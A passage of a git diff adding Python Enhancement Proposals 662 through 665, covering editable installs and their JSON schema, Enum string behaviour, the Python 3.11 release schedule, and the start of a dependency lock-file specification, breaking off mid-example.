pep-0662/pep-0662-editable.json + :code: + +For example: + +.. code:: + + { + "version": 1, + "scheme": { + "purelib": {"/src/tree/a.py": "tree/a.py"}, + "platlib": {}, + "data": {"/src/tree/py.typed": "tree/py.typed"}, + "headers": {}, + "scripts": {} + } + } + +The scheme paths map from project source absolute paths to target directory +relative paths. We allow backends to change the project layout from the project +source directory to what the interpreter will see by using the mapping. + +For example if the backend returns ``"purelib": {"/me/project/src": ""}`` this +would mean that expose all files and modules within ``/me/project/src`` at the +root of the ``purelib`` path within the target interpreter. + +Build frontend requirements +--------------------------- + +The build frontend is responsible for setting up the environment for the build +backend to generate the virtual wheel. All recommendations from :pep:`517` for +the build wheel hook applies here too. + +Frontend requirements +--------------------- + +The frontend must install the virtual wheel exactly as defined within +:pep:`427`. Furthermore is responsible for also installing the files defined +within the ``editable.json`` file. The manner in which it does is left up to +the frontend, and is encouraged for the frontend to communicate with the user +exactly the method chosen, and what limitations that solution will have. + +The frontend must create a ``direct_url.json`` file in the ``.dist-info`` +directory of the installed distribution, in compliance with :pep:`610`. The ``url`` +value must be a ``file://`` URL pointing to the project directory (i.e., the +directory containing ``pyproject.toml``), and the ``dir_info`` value must be +``{'editable': true}``. + +The frontend can rely on the ``prepare_metadata_for_build_editable`` hook when +installing in editable mode. + +If the frontend concludes it cannot achieve an editable installation with the +information provided by the build backend it should fail and raise an error to +clarify to the user why not. + +The frontend might implement one or more editable installation mechanisms and +can leave it up to the user the choose one that its optimal to the use case +of the user. For example, pip could add an editable mode flag, and allow the +user to choose between ``pth`` files or symlinks ( +``pip install -e . --editable-mode=pth`` vs +``pip install -e . --editable-mode=symlink``). + +Example editable implementations +-------------------------------- + +To show how this PEP might be used, we'll now present a few case studies. Note +the offered solutions are purely for illustration purpose and are not normative +for the frontend/backend. + +Add the source tree as is to the interpreter +'''''''''''''''''''''''''''''''''''''''''''' + +This is one of the simplest implementations, it will add the source tree as is +into the interpreters scheme paths, the ``editable.json`` within the virtual wheel +might look like: + +.. code:: + + { + {"version": 1, "scheme": {"purelib": {"": ""}}} + } + +The frontend then could either: + +- Add the source directory onto the target interpreters ``sys.path`` during + startup of it. This is done by creating a ``pth`` file into the target + interpreters ``purelib`` folder. setuptools_ does this today and is what `pip + install -e `_ translate too. This solution is fast and + cross-platform compatible. However, this puts the entire source tree onto the + system, potentially exposing modules that would not be available in a + standard installation case. + +- Symlink the folder, or the individual files within it. This method is what + flit does via its `flit install --symlink`_. This solution requires the + current platform to support symlinks. Still, it allows potentially to symlink + individual files, which could solve the problem of including files that + should be excluded from the source tree. + +Using custom importers +'''''''''''''''''''''' + +For a more robust and more dynamic collaboration between the build backend and +the target interpreter, we can take advantage of the import system allowing the +registration of custom importers. See :pep:`302` for more details and editables_ +as an example of this. The backend can generate a new importer during the +editable build (or install it as an additional dependency) and register it at +interpreter startup by adding a ``pth`` file. + +.. code:: + + { + "version": 1, + "scheme": { + "purelib": { + "/.editable/_register_importer.pth": "/_register_importer.pth". + "/.editable/_editable_importer.py": "/_editable_importer.py" + } + } + } + } + +The backend here registered a hook that is called whenever a new module is +imported, allowing dynamic and on-demand functionality. Potential use cases +where this is useful: + +- Expose a source folder, but honor module excludes: the backend may generate + an import hook that consults the exclusion table before allowing a source + file loader to discover a file in the source directory or not. + +- For a project, let there be two modules, ``A.py`` and ``B.py``. These are two + separate files in the source directory; however, while building a wheel, they + are merged into one mega file ``project.py``. In this case, with this PEP, + the backend could generate an import hook that reads the source files at + import time and merges them in memory before materializing it as a module. + +- Automatically update out-of-date C-extensions: the backend may generate an + import hook that checks the last modified timestamp for a C-extension source + file. If it is greater than the current C-extension binary, trigger an update + by calling the compiler before import. + +Rejected ideas +============== + +This PEP competes with :pep:`660` and rejects that proposal because we think +the mechanism of achieving an editable installation should be within the +frontend rather than the build backend. Furthermore, this approach allows the +ecosystem to use alternative means to accomplish the editable installation +effect (e.g., insert path on ``sys.path`` or symlinks instead of just implying +the loose wheel mode from the backend described by that PEP). + +Prominently, :pep:`660` does not allow using symlinks to expose code and data +files without also extending the wheel file standard with symlink support. It's +not clear how the wheel format could be extended to support symlinks that refer +not to files within the wheel itself, but files only available on the local +disk. It's important to note that the backend itself (or backend generated +code) must not generate these symlinks (e.g., at interpreter startup time) as +that would conflict with the frontends book keeping of what files need to be +uninstalled. + +Finally, :pep:`660` adds support only for ``purelib`` and ``platlib`` files. It +purposefully avoids supporting other types of information that the wheel format +supports: ``include``, ``data`` and ``scripts``. With this path the frontend +can support these on a best effort basis via the symlinks mechanism (though +this feature is not universally available - on Windows require enablement). We +believe its beneficial to add best effort support for these file types, rather +than exclude the possibility of supporting them at all. + +References +========== + +.. _build: https://pypa-build.readthedocs.io + +.. _editables: https://pypi.org/project/editables + +.. _flit: https://flit.readthedocs.io/en/latest/index.html + +.. _flit install --symlink: https://flit.readthedocs.io/en/latest/cmdline.html#cmdoption-flit-install-s + +.. _installer: https://pypi.org/project/installer + +.. _pip: https://pip.pypa.io + +.. _pip install -e : https://pip.pypa.io/en/stable/cli/pip_install/#install-editable + +.. _setup.py develop: https://setuptools.readthedocs.io/en/latest/userguide/commands.html#develop-deploy-the-project-source-in-development-mode + +.. _setuptools: https://setuptools.readthedocs.io/en/latest/ + +Copyright +========= + +This document is placed in the public domain or under the CC0-1.0-Universal +license, whichever is more permissive. + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0662/pep-0662-editable.json b/pep-0662/pep-0662-editable.json new file mode 100644 index 00000000000..aa3e5e5d777 --- /dev/null +++ b/pep-0662/pep-0662-editable.json @@ -0,0 +1,38 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema", + "$id": "http://pypa.io/editables.json", + "type": "object", + "title": "Virtual wheel editable schema.", + "required": ["version", "scheme"], + "properties": { + "version": { + "$id": "#/properties/version", + "type": "integer", + "minimum": 1, + "maximum": 1, + "title": "The version of the schema." + }, + "scheme": { + "$id": "#/properties/scheme", + "type": "object", + "title": "Files to expose.", + "required": ["purelib", "platlib", "data", "headers", "scripts"], + "properties": { + "purelib": { "$ref": "#/$defs/mapping" }, + "platlib": { "$ref": "#/$defs/mapping" }, + "data": { "$ref": "#/$defs/mapping" }, + "headers": { "$ref": "#/$defs/mapping" }, + "scripts": { "$ref": "#/$defs/mapping" } + }, + "additionalProperties": true + } + }, + "additionalProperties": true, + "$defs": { + "mapping": { + "type": "object", + "description": "A mapping of source to target paths. The source is absolute path, the destination is relative path.", + "additionalProperties": true + } + } +} diff --git a/pep-0663.txt b/pep-0663.txt new file mode 100644 index 00000000000..dfcc4bc2126 --- /dev/null +++ b/pep-0663.txt @@ -0,0 +1,250 @@ +PEP: 663 +Title: Standardizing Enum str(), repr(), and format() behaviors +Version: $Revision$ +Last-Modified: $Date$ +Author: Ethan Furman +Discussions-To: python-dev@python.org +Status: Rejected +Type: Informational +Content-Type: text/x-rst +Created: 30-Jun-2021 +Python-Version: 3.11 +Post-History: 20-Jul-2021, 02-Nov-2021 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/RN3WCRZSTQR55DOHJTZ2KIO6CZPJPCU7/ + + +Abstract +======== + +Update the ``repr()``, ``str()``, and ``format()`` of the various Enum types +to better match their intended purpose. For example, ``IntEnum`` will have +its ``str()`` change to match its ``format()``, while a user-mixed int-enum +will have its ``format()`` match its ``str()``. In all cases, an enum's +``str()`` and ``format()`` will be the same (unless the user overrides +``format()``). + +Add a global enum decorator which changes the ``str()`` and ``repr()`` (and +``format()``) of the decorated enum to be a valid global reference: i.e. +``re.IGNORECASE`` instead of ````. + + +Motivation +========== + +Having the ``str()`` of ``IntEnum`` and ``IntFlag`` not be the value causes +bugs and extra work when replacing existing constants. + +Having the ``str()`` and ``format()`` of an enum member be different can be +confusing. + +The addition of ``StrEnum`` with its requirement to have its ``str()`` be its +``value`` is inconsistent with other provided Enum's ``str``. + +The iteration of ``Flag`` members, which directly affects their ``repr()``, is +inelegant at best, and buggy at worst. + + +Rationale +========= + +Enums are becoming more common in the standard library; being able to recognize +enum members by their ``repr()``, and having that ``repr()`` be easy to parse, is +useful and can save time and effort in understanding and debugging code. + +However, the enums with mixed-in data types (``IntEnum``, ``IntFlag``, and the new +``StrEnum``) need to be more backwards compatible with the constants they are +replacing -- specifically, ``str(replacement_enum_member) == str(original_constant)`` +should be true (and the same for ``format()``). + +IntEnum, IntFlag, and StrEnum should be as close to a drop-in replacement of +existing integer and string constants as is possible. Towards that goal, the +``str()`` output of each should be its inherent value; e.g. if ``Color`` is an +``IntEnum``:: + + >>> Color.RED + + >>> str(Color.RED) + '1' + >>> format(Color.RED) + '1' + +Note that ``format()`` already produces the correct output, only ``str()`` needs +updating. + +As much as possible, the ``str()``, ``repr()``, and ``format()`` of enum members +should be standardized across the standard library. However, up to Python 3.10 +several enums in the standard library have a custom ``str()`` and/or ``repr()``. + +The ``repr()`` of Flag currently includes aliases, which it should not; fixing that +will, of course, already change its ``repr()`` in certain cases. + + +Specification +============= + +There are three broad categories of enum usage: + +- simple: ``Enum`` or ``Flag`` + a new enum class is created with no data type mixins + +- drop-in replacement: ``IntEnum``, ``IntFlag``, ``StrEnum`` + a new enum class is created which also subclasses ``int`` or ``str`` and uses + ``int.__str__`` or ``str.__str__`` + +- user-mixed enums and flags + the user creates their own integer-, float-, str-, whatever-enums instead of + using enum.IntEnum, etc. + +There are also two styles: + +- normal: the enumeration members remain in their classes and are accessed as + ``classname.membername``, and the class name shows in their ``repr()`` and + ``str()`` (where appropriate) + +- global: the enumeration members are copied into their module's global + namespace, and their module name shows in their ``repr()`` and ``str()`` + (where appropriate) + +Some sample enums:: + + # module: tools.py + + class Hue(Enum): # or IntEnum + LIGHT = -1 + NORMAL = 0 + DARK = +1 + + class Color(Flag): # or IntFlag + RED = 1 + GREEN = 2 + BLUE = 4 + + class Grey(int, Enum): # or (int, Flag) + BLACK = 0 + WHITE = 1 + +Using the above enumerations, the following two tables show the old and new +output (blank cells indicate no change): + ++--------+------------------------+-----------------+------------+-----------------------+ +| style | category | enum repr() | enum str() | enum format() | ++--------+-------------+----------+-----------------+------------+-----------------------+ +| normal | simple | 3.10 | | | | +| | +----------+-----------------+------------+-----------------------+ +| | | new | | | | +| +-------------+----------+-----------------+------------+-----------------------+ +| | user mixed | 3.10 | | | 1 | +| | +----------+-----------------+------------+-----------------------+ +| | | new | | | Grey.WHITE | +| +-------------+----------+-----------------+------------+-----------------------+ +| | int drop-in | 3.10 | | Hue.LIGHT | | +| | +----------+-----------------+------------+-----------------------+ +| | | new | | -1 | | ++--------+-------------+----------+-----------------+------------+-----------------------+ +| global | simple | 3.10 | | Hue.LIGHT | Hue.LIGHT | +| | +----------+-----------------+------------+-----------------------+ +| | | new | tools.LIGHT | LIGHT | LIGHT | +| +-------------+----------+-----------------+------------+-----------------------+ +| | user mixed | 3.10 | | Hue.LIGHT | | +| | +----------+-----------------+------------+-----------------------+ +| | | new | tools.LIGHT | -1 | | ++--------+-------------+----------+-----------------+------------+-----------------------+ + ++--------+------------------------+-----------------------+------------------------+-----------------------+ +| style | category | flag repr() | flag str() | flag format() | ++--------+-------------+----------+-----------------------+------------------------+-----------------------+ +| normal | simple | 3.10 | | Color.RED|GREEN | Color.RED|GREEN | +| | +----------+-----------------------+------------------------+-----------------------+ +| | | new | | Color.RED|Color.GREEN | Color.RED|Color.GREEN | +| +-------------+----------+-----------------------+------------------------+-----------------------+ +| | user mixed | 3.10 | | | 1 | +| | +----------+-----------------------+------------------------+-----------------------+ +| | | new | | | Grey.WHITE | +| +-------------+----------+-----------------------+------------------------+-----------------------+ +| | int drop-in | 3.10 | | Color.RED|GREEN | | +| | +----------+-----------------------+------------------------+-----------------------+ +| | | new | | 3 | | ++--------+-------------+----------+-----------------------+------------------------+-----------------------+ +| global | simple | 3.10 | | Color.RED|GREEN | Color.RED|GREEN | +| | +----------+-----------------------+------------------------+-----------------------+ +| | | new | tools.RED|tools.GREEN | RED|GREEN | RED|GREEN | +| +-------------+----------+-----------------------+------------------------+-----------------------+ +| | user mixed | 3.10 | | Grey.WHITE | 1 | +| | +----------+-----------------------+------------------------+-----------------------+ +| | | new | tools.WHITE | WHITE | WHITE | +| +-------------+----------+-----------------------+------------------------+-----------------------+ +| | int drop-in | 3.10 | | Color.RED|GREEN | | +| | +----------+-----------------------+------------------------+-----------------------+ +| | | new | tools.RED|tools.GREEN | 3 | | ++--------+-------------+----------+-----------------------+------------------------+-----------------------+ + +These two tables show the final result: + ++--------+-------------+-----------------+------------+-----------------------+ +| style | category | enum repr() | enum str() | enum format() | ++--------+-------------+-----------------+------------+-----------------------+ +| normal | simple | | Hue.LIGHT | Hue.LIGHT | +| +-------------+-----------------+------------+-----------------------+ +| | user mixed | | Grey.WHITE | Grey.WHITE | +| +-------------+-----------------+------------+-----------------------+ +| | int drop-in | | -1 | -1 | ++--------+-------------+-----------------+------------+-----------------------+ +| global | simple | tools.LIGHT | LIGHT | LIGHT | +| +-------------+-----------------+------------+-----------------------+ +| | user mixed | tools.WHITE | WHITE | WHITE | +| +-------------+-----------------+------------+-----------------------+ +| | int drop-in | tools.LIGHT | -1 | -1 | ++--------+-------------+-----------------+------------+-----------------------+ + ++--------+-------------+-----------------------+------------------------+-----------------------+ +| style | category | flag repr() | flag str() | flag format() | ++--------+-------------+-----------------------+------------------------+-----------------------+ +| normal | simple | | Color.RED|Color.GREEN | Color.RED|Color.GREEN | +| +-------------+-----------------------+------------------------+-----------------------+ +| | user mixed | | Grey.WHITE | Grey.WHITE | +| +-------------+-----------------------+------------------------+-----------------------+ +| | int drop-in | | 3 | 3 | ++--------+-------------+-----------------------+------------------------+-----------------------+ +| global | simple | tools.RED|tools.GREEN | RED|GREEN | RED|GREEN | +| +-------------+-----------------------+------------------------+-----------------------+ +| | user mixed | tools.WHITE | WHITE | WHITE | +| +-------------+-----------------------+------------------------+-----------------------+ +| | int drop-in | tools.RED|tools.GREEN | 3 | 3 | ++--------+-------------+-----------------------+------------------------+-----------------------+ + +As can be seen, ``repr()`` is primarily affected by whether the members are +global, while ``str()`` is affected by being global or by being a drop-in +replacement, with the drop-in replacement status having a higher priority. +Also, the basic ``repr()`` and ``str()`` have changed for flags as the old +style was flawed. + + +Backwards Compatibility +======================= + +Backwards compatibility of stringified objects is not guaranteed across major +Python versions, and there will be backwards compatibility breaks where +software uses the ``repr()``, ``str()``, and ``format()`` output of enums in +tests, documentation, data structures, and/or code generation. + +Normal usage of enum members will not change: ``re.ASCII`` can still be used +as ``re.ASCII`` and will still compare equal to ``256``. + +If the previous output needs to be maintained, for example to ensure +compatibility between different Python versions, software projects will need to +create their own enum base class with the appropriate methods overridden. + +Note that by changing the ``str()`` of the drop-in category, we will actually +prevent future breakage when ``IntEnum``, et al, are used to replace existing +constants. + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0664.rst b/pep-0664.rst new file mode 100644 index 00000000000..023564ebbc4 --- /dev/null +++ b/pep-0664.rst @@ -0,0 +1,114 @@ +PEP: 664 +Title: Python 3.11 Release Schedule +Version: $Revision$ +Last-Modified: $Date$ +Author: Pablo Galindo Salgado +Status: Draft +Type: Informational +Content-Type: text/x-rst +Created: 12-Jul-2021 +Python-Version: 3.11 + + +Abstract +======== + +This document describes the development and release schedule for +Python 3.11. The schedule primarily concerns itself with PEP-sized +items. + +.. Small features may be added up to the first beta + release. Bugs may be fixed until the final release, + which is planned for October 2022. + +Release Manager and Crew +======================== + +- 3.11 Release Manager: Pablo Galindo Salgado +- Windows installers: Steve Dower +- Mac installers: Ned Deily +- Documentation: Julien Palard + + +Release Schedule +================ + +3.11.0 schedule +--------------- + +Note: the dates below use a 17-month development period that results +in a 12-month release cadence between major versions, as defined by +:pep:`602`. + +Actual: + +- 3.11 development begins: Monday, 2021-05-03 +- 3.11.0 alpha 1: Monday, 2021-10-05 +- 3.11.0 alpha 2: Tuesday, 2021-11-02 +- 3.11.0 alpha 3: Wednesday, 2021-12-08 +- 3.11.0 alpha 4: Monday, 2022-01-14 +- 3.11.0 alpha 5: Thursday, 2022-02-03 +- 3.11.0 alpha 6: Monday, 2022-03-07 +- 3.11.0 alpha 7: Tuesday, 2022-04-05 +- 3.11.0 beta 1: Sunday, 2022-05-08 + (No new features beyond this point.) +- 3.11.0 beta 2: Tuesday, 2022-05-31 +- 3.11.0 beta 3: Wednesday, 2022-06-01 + +Expected: + +- 3.11.0 beta 4: Thursday, 2022-06-16 +- 3.11.0 beta 5: Saturday, 2022-07-09 +- 3.11.0 candidate 1: Monday, 2022-08-01 +- 3.11.0 candidate 2: Monday, 2022-09-05 +- 3.11.0 final: Monday, 2022-10-03 + +Subsequent bugfix releases every two months. + + +3.11 Lifespan +------------- + +3.11 will receive bugfix updates approximately every 2 months for +approximately 18 months. Some time after the release of 3.12.0 final, +the ninth and final 3.11 bugfix update will be released. After that, +it is expected that security updates (source only) will be released +until 5 years after the release of 3.11.0 final, so until approximately +October 2027. + + +Features for 3.11 +================= + +Some of the notable features of Python 3.11 include: + +* :pep:`654`, Exception Groups and ``except*``. +* :pep:`657`, Enhanced error locations in tracebacks. +* :pep:`680`, Support for parsing TOML in the standard library +* Python 3.11 is up to 10-60% faster than Python 3.10. On average, we measured + a 1.25x speedup on the standard benchmark suite. See `Faster CPython + `__ for + details. + +Typing features: + +* :pep:`646`, Variadic generics. +* :pep:`655`, Marking individual TypedDict items as required or potentially-missing. +* :pep:`673`, Self type. +* :pep:`675`, Arbitrary literal string type. +* :pep:`681`, Dataclass transforms + +Copyright +========= + +This document has been placed in the public domain. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 72 + coding: utf-8 + End: diff --git a/pep-0665.rst b/pep-0665.rst new file mode 100644 index 00000000000..ac984660b0d --- /dev/null +++ b/pep-0665.rst @@ -0,0 +1,1021 @@ +PEP: 665 +Title: A file format to list Python dependencies for reproducibility of an application +Author: Brett Cannon , + Pradyun Gedam , + Tzu-ping Chung +PEP-Delegate: Paul Moore +Discussions-To: https://discuss.python.org/t/9911 +Status: Rejected +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 29-Jul-2021 +Post-History: 29-Jul-2021, 03-Nov-2021, 25-Nov-2021 +Resolution: https://discuss.python.org/t/pep-665-take-2-a-file-format-to-list-python-dependencies-for-reproducibility-of-an-application/11736/140 + +.. note:: + This PEP was rejected due to lukewarm reception from the community + from the lack of source distribution support. + +======== +Abstract +======== + +This PEP specifies a file format to specify the list of Python package +installation requirements for an application, and the relation between +the specified requirements. The list of requirements is considered +exhaustive for the installation target, and thus not requiring any +information beyond the platform being installed for, and the file +itself. The file format is flexible enough to allow installing the +requirements across different platforms, which allows for +reproducibility on multiple platforms from the same file. + + +=========== +Terminology +=========== + +There are several terms whose definition must be agreed upon in order +to facilitate a discussion on the topic of this PEP. + +A *package* is something you install as a dependency and use via the +import system. The packages on PyPI are an example of this. + +An *application* or *app* is an end product that other external code +does not directly rely on via the import system (i.e. they are +standalone). Desktop applications, command-line tools, etc. are +examples of applications. + +A *lock file* records the packages that are to be installed for an +app. Traditionally, the exact version of the package to be installed +is specified by a lock file, but specified packages are not always +installed on a given platform (according a filtering logic described +in a later section), which enables the lock file to describe +reproducibility across multiple platforms. Examples of this are +``package-lock.json`` from npm_, ``Poetry.lock`` from Poetry_, etc. + +*Locking* is the act of taking the input of the packages an app +depends on and producting a lock file from that. + +A *locker* is a tool which produces a lock file. + +An *installer* consumes a lock file to install what the lock file +specifies. + + +========== +Motivation +========== + +Applications want reproducible installs for a few reasons (we are not +worrying about package development, integration into larger systems +that would handle locking dependencies external to the Python +application, or other situations where *flexible* installation +requirements are desired over strict, reproducible installations). + +One, reproducibility eases development. When you and your fellow +developers all end up with the same files on a specific platform, you +make sure you are all developing towards the same experience for the +application. You also want your users to install the same files as +you expect to guarantee the experience is the same as you developed +for them. + +Two, you want to be able to reproduce what gets installed across +multiple platforms. Thanks to Python's portability across operating +systems, CPUs, etc., it is very easy and often desirable to create +applications that are not restricted to a single platform. Thus, you +want to be flexible enough to allow for differences in your package +dependencies between platforms, while still having consistency +and reproducibility on any one specific platform. + +Three, reproducibility is more secure. When you control exactly what +files are installed, you can make sure no malicious actor is +attempting to slip nefarious code into your application (i.e. some +supply chain attacks). By using a lock file which always leads to +reproducible installs, we can avoid certain risks entirely. + +Four, relying on the `wheel file`_ format provides reproducibility +without requiring build tools to support reproducibility themselves. +Thanks to wheels being static and not executing code as part of +installation, wheels always lead to a reproducible result. Compare +this to source distributions (aka sdists) or source trees which only +lead to a reproducible install if their build tool supports +reproducibility due to inherent code execution. Unfortunately the vast +majority of build tools do not support reproducible builds, so this +PEP helps alleviate that issue by only supporting wheels as a package +format. + +This PEP proposes a standard for a lock file, as the current solutions +don't meet the outlined goals. Today, the closest we come to a lock +file standard is the `requirements file format`_ from pip. +Unfortunately, that format does not lead to inherently reproducible +installs (it requires optional features both in the requirements file +and the installer itself, to be discussed later). + +The community itself has also shown a need for lock files based on the +fact that multiple tools have independently created their own lock +file formats: + +#. PDM_ +#. `pip-tools`_ +#. Pipenv_ +#. Poetry_ +#. Pyflow_ + +Unfortunately, those tools all use differing lock file formats. This +means tooling around these tools must be unique. This impacts tooling +such as code editors and hosting providers, which want to be as +flexible as possible when it comes to accepting a user's application +code, but also have a limit as to how much development resources they +can spend to add support for yet another lock file format. A +standardized format would allow tools to focus their work on a single +target, and make sure that workflow decisions made by developers +outside of the lock file format are of no concern to e.g. hosting +providers. + +Other programming language communities have also shown the usefulness +of lock files by developing their own solution to this problem. Some +of those communities include: + +#. Dart_ +#. npm_/Node +#. Go +#. Rust_ + +The trend in programming languages in the past decade seems to have +been toward providing a lock file solution. + + +========= +Rationale +========= + +----------- +File Format +----------- + +We wanted the file format to be easy to read as a diff when auditing +a change to the lock file. As such, and thanks to :pep:`518` and +``pyproject.toml``, we decided to go with the TOML_ file format. + + +----------------- +Secure by Design +----------------- + +Viewing the `requirements file format`_ as the closest we have to +a lock file standard, there are a few issues with the file format when +it comes to security. First is that the file format simply does not +require you to specify the exact version of a package. This is why +tools like `pip-tools`_ exist to help manage that users of +requirements files. + +Second, you must opt into specifying what files are acceptable to be +installed by using the ``--hash`` argument for a specific dependency. +This is also optional with pip-tools as it requires specifying the +``--generate-hashes`` CLI argument. This requires ``--require-hashes`` +for pip to make sure no dependencies lack a hash to check. + + +Third, even when you control what files may be installed, it does not +prevent other packages from being installed. If a dependency is not +listed in the requirements file, pip will happily go searching for a +file to meet that need. You must specify ``--no-deps`` as an +argument to pip to prevent unintended dependency resolution outside +of the requirements file. + +Fourth, the format allows for installing a +`source distribution file`_ (aka "sdist"). By its very nature, +installing an sdist requires executing arbitrary Python code, meaning +that there is no control over what files may be installed. Only by +specifying ``--only-binary :all:`` can you guarantee pip to only use a +`wheel file`_ for each package. + +To recap, in order for a requirements file to be as secure as what is +being proposed, a user should always do the following steps: + +#. Use pip-tools and its command ``pip-compile --generate-hashes`` +#. Install the requirements file using + ``pip install --require-hashes --no-deps --only-binary :all:`` + +Critically, all of those flags, and both the specificity and +exhaustion of what to install that pip-tools provides, are optional +for requirements files. + +As such, the proposal raised in this PEP is secure by design which +combats some supply chain attacks. Hashes for files which would be +used to install from are **required**. You can **only** install from +wheels to unambiguously define what files will be placed in the file +system. Installers **must** lead to an deterministic installation +from a lock file for a given platform. All of this leads to a +reproducible installation which you can deem trustworthy (when you +have audited the lock file and what it lists). + + +-------------- +Cross-Platform +-------------- + +Various projects which already have a lock file, like PDM_ and +Poetry_, provide a lock file which is *cross-platform*. This allows +for a single lock file to work on multiple platforms while still +leading to the exact same top-level requirements to be installed +everywhere with the installation being consistent/unambiguous on +each platform. + +As to why this is useful, let's use an example involving PyWeek_ +(a week-long game development competition). Assume you are developing +on Linux, while someone you choose to partner with is using macOS. +Now assume the judges are using Windows. How do you make sure everyone +is using the same top-level dependencies, while allowing for any +platform-specific requirements (e.g. a package requires a helper +package under Windows)? + +With a cross-platform lock file, you can make sure that the key +requirements are met consistently across all platforms. You can then +also make sure that all users on the same platform get the same +reproducible installation. + + +---------------- +Simple Installer +---------------- + +The separation of concerns between a locker and an installer allows +for an installer to have a much simpler operation to perform. As +such, it not only allows for installers to be easier to write, but +facilitates in making sure installers create unambiguous, reproducible +installations correctly. + +The installer can also expend less computation/energy in creating the +installation. This is beneficial not only for faster installs, but +also from an energy consumption perspective, as installers are +expected to be run more often than lockers. + +This has led to a design where the locker must do more work upfront +to the benefit installers. It also means the complexity of package +dependencies is simpler and easier to comprehend in a lock files to +avoid ambiguity. + + +============= +Specification +============= + +------- +Details +------- + +Lock files MUST use the TOML_ file format. This not only prevents the +need to have another file format in the Python packaging ecosystem +thanks to its adoption by :pep:`518` for ``pyproject.toml``, but also +assists in making lock files more human-readable. + +Lock files MUST end their file names with ``.pylock.toml``. The +``.toml`` part unambiguously distinguishes the format of the file, +and helps tools like code editors support the file appropriately. The +``.pylock`` part distinguishes the file from other TOML files the user +has, to make the logic easier for tools to create functionality +specific to Python lock files, instead of TOML files in general. + +The following sections are the top-level keys of the TOML file data +format. Any field not listed as **required** is considered optional. + + +``version`` +=========== + +This field is **required**. + +The version of the lock file being used. The key MUST be a string +consisting of a number that follows the same formatting as the +``Metadata-Version`` key in the `core metadata spec`_. + +The value MUST be set to ``"1.0"`` until a future PEP allows for a +different value. The introduction of a new *optional* key to the file +format SHOULD increase the minor version. The introduction of a new +required key or changing the format MUST increase the major version. +How to handle other scenarios is left as a per-PEP decision. + +Installers MUST warn the user if the lock file specifies a version +whose major version is supported but whose minor version is +unsupported/unrecognized (e.g. the installer supports ``"1.0"``, but +the lock file specifies ``"1.1"``). + +Installers MUST raise an error if the lock file specifies a major +version which is unsupported (e.g. the installer supports ``"1.9"`` +but the lock file specifies ``"2.0"``). + + +``created-at`` +============== + +This field is **required**. + +The timestamp for when the lock file was generated (using TOML's +native timestamp type). It MUST be recorded using the UTC time zone to +avoid ambiguity. + +If the SOURCE_DATE_EPOCH_ environment variable is set, it MUST be used +as the timestamp by the locker. This facilitates reproducibility of +the lock file itself. + + +``[tool]`` +========== + +Tools may create their own sub-tables under the ``tool`` table. The +rules for this table match those for ``pyproject.toml`` and its +``[tool]`` table from the `build system declaration spec`_. + + +``[metadata]`` +============== + +This table is **required**. + +A table containing data applying to the overall lock file. + + +``metadata.marker`` +------------------- + +A key storing a string containing an environment marker as +specified in the `dependency specifier spec`_. + +The locker MAY specify an environment marker which specifies any +restrictions the lock file was generated under. + +If the installer is installing for an environment which does not +satisfy the specified environment marker, the installer MUST raise an +error as the lock file does not support the target installation +environment. + + +``metadata.tag`` +---------------- + +A key storing a string specifying `platform compatibility tags`_ +(i.e. wheel tags). The tag MAY be a compressed tag set. + +If the installer is installing for an environment which does not +satisfy the specified tag (set), the installer MUST raise an error +as the lock file does not support the targeted installation +environment. + + +``metadata.requires`` +--------------------- + +This field is **required**. + +An array of strings following the `dependency specifier spec`_. This +array represents the top-level package dependencies of the lock file +and thus the root of the dependency graph. + + +``metadata.requires-python`` +---------------------------- + +A string specifying the supported version(s) of Python for this lock +file. It follows the same format as that specified for the +``Requires-Python`` field in the `core metadata spec`_. + + +``[[package._name_._version_]]`` +================================ + +This array is **required**. + +An array per package and version containing entries for the potential +(wheel) files to install (as represented by ``_name_`` and +``_version_``, respectively). + +Lockers MUST normalize a project's name according to the +`simple repository API`_. If extras are specified as part of the +project to install, the extras are to be included in the key name and +are to be sorted in lexicographic order. + +Within the file, the tables for the projects SHOULD be sorted by: + +#. Project/key name in lexicographic order +#. Package version, newest/highest to older/lowest according to the + `version specifiers spec`_ +#. Optional dependencies (extras) via lexicographic order +#. File name based on the ``filename`` field (discussed + below) + +These recommendations are to help minimize diff changes between tool +executions. + + +``package._name_._version_.filename`` +------------------------------------- + +This field is **required**. + +A string representing the base name of the file as represented by an +entry in the array (i.e. what +``os.path.basename()``/``pathlib.PurePath.name`` represents). This +field is required to simplify installers as the file name is required +to resolve wheel tags derived from the file name. It also guarantees +that the association of the array entry to the file it is meant for is +always clear. + + +``[package._name_._version_.hashes]`` +------------------------------------- + +This table is **required**. + +A table with keys specifying a hash algorithm and values as the hash +for the file represented by this entry in the +``package._name_._version_`` table. + +Lockers SHOULD list hashes in lexicographic order. This is to help +minimize diff sizes and the potential to overlook hash value changes. + +An installer MUST only install a file which matches one of the +specified hashes. + + +``package._name_._version_.url`` +-------------------------------- + +A string representing a URL where to get the file. + +The installer MAY support any schemes it wants for URLs. A URL with no +scheme MUST be assumed to be a local file path (both relative paths to +the lock file and absolute paths). Installers MUST support, at +minimum, HTTPS URLs as well as local file paths. + +An installer MAY choose to not use the URL to retrieve a file +if a file matching the specified hash can be found using alternative +means (e.g. on the file system in a cache directory). + + +``package._name_._version_.direct`` +----------------------------------- + +A boolean representing whether an installer should consider the +project installed "directly" as specified by the +`direct URL origin of installed distributions spec`_. + +If the key is true, then the installer MUST follow the +`direct URL origin of installed distributions spec`_ for recording +the installation as "direct". + + +``package._name_._version_.requires-python`` +-------------------------------------------- + +A string specifying the support version(s) of Python for this file. It +follows the same format as that specified for the +``Requires-Python`` field in the `core metadata spec`_. + + +``package._name_._version_.requires`` +------------------------------------- + +An array of strings following the `dependency specifier spec`_ which +represent the dependencies of this file. + + +------- +Example +------- + +:: + + version = "1.0" + created-at = 2021-10-19T22:33:45.520739+00:00 + + [tool] + # Tool-specific table. + + [metadata] + requires = ["mousebender", "coveragepy[toml]"] + marker = "sys_platform == 'linux'" # As an example for coverage. + requires-python = ">=3.7" + + [[package.attrs."21.2.0"]] + filename = "attrs-21.2.0-py2.py3-none-any.whl" 